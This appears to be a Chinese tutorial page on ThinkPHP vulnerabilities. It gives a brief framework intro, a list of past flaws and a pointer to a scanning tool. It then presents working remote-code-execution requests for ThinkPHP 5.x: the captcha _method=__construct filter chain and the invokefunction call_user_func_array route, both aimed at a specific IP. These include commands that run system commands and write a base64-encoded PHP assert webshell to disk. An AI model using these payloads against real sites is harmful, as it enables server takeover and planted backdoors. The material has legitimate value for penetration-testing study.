Thinkphp漏洞

➢ Thinkphp介绍
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,支持
windows/Unix/Linux等服务器环境。

➢ Thinkphp应用
很多cms就是基于thinkphp二次开发的,所以thinkphp出问题的话,会影响很多基于thinkphp开发的网站。Thinkphp漏洞_第1张图片
➢历史漏洞
ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell
ThinkPHP5_SQL注入漏洞&&敏感信息泄露
ThinkPHP3.2.3_最新版update注入漏洞
ThinkPHP5.0.10缓存函数设计缺陷可导致Getshell
ThinkPHP3.2.X_find_select_delete注入
ThinkPHP框架5.0.X_sql注入漏洞分析
ThinkPHP3.X_order_by注入漏洞
ThinkPHP5.X_order_by注入漏洞
ThinkPHP5.X_远程代码执行

➢ Thinkphp特征
Thinkphp漏洞_第2张图片
Thinkphp漏洞_第3张图片
➢漏洞检测
https://github.com/Lucifer1993/TPscanThinkphp漏洞_第4张图片
➢漏洞简介( 5.0.23)
其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可
以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

➢漏洞利用( (命令执行) )
POST /index.php?s=captcha
Data:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=idThinkphp漏洞_第5张图片
➢漏洞利用( (命令执行) )
POST /index.php?s=captcha
Data:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=
echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== |
base64 -d > shell9.php

➢漏洞简介( 5.0.22/5.1.29)
其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下
(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

➢漏洞利用(代码执行)
http://47.104.255.11:9001/index.php?s=/Index/\think\app/invokefunction&function=
call_user_func_array&vars[0]=phpinfo&vars[1][]=-1Thinkphp漏洞_第6张图片
➢漏洞利用(命令执行)
http://47.104.255.11:9001/index.php?s=/Index/\think\app/invokefunction&function=
call_user_func_array&vars[0]=system&vars[1][]=whoamiThinkphp漏洞_第7张图片
➢漏洞利用(写 webshell)
http://47.104.255.11:9001/index.php?s=/Index/\think\app/invokefunction&function=
call_user_func_array&vars[0]=system&vars[1][]=echo -n
YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > shell9.phpThinkphp漏洞_第8张图片

你可能感兴趣的:(初学者常见问题,thinkphp)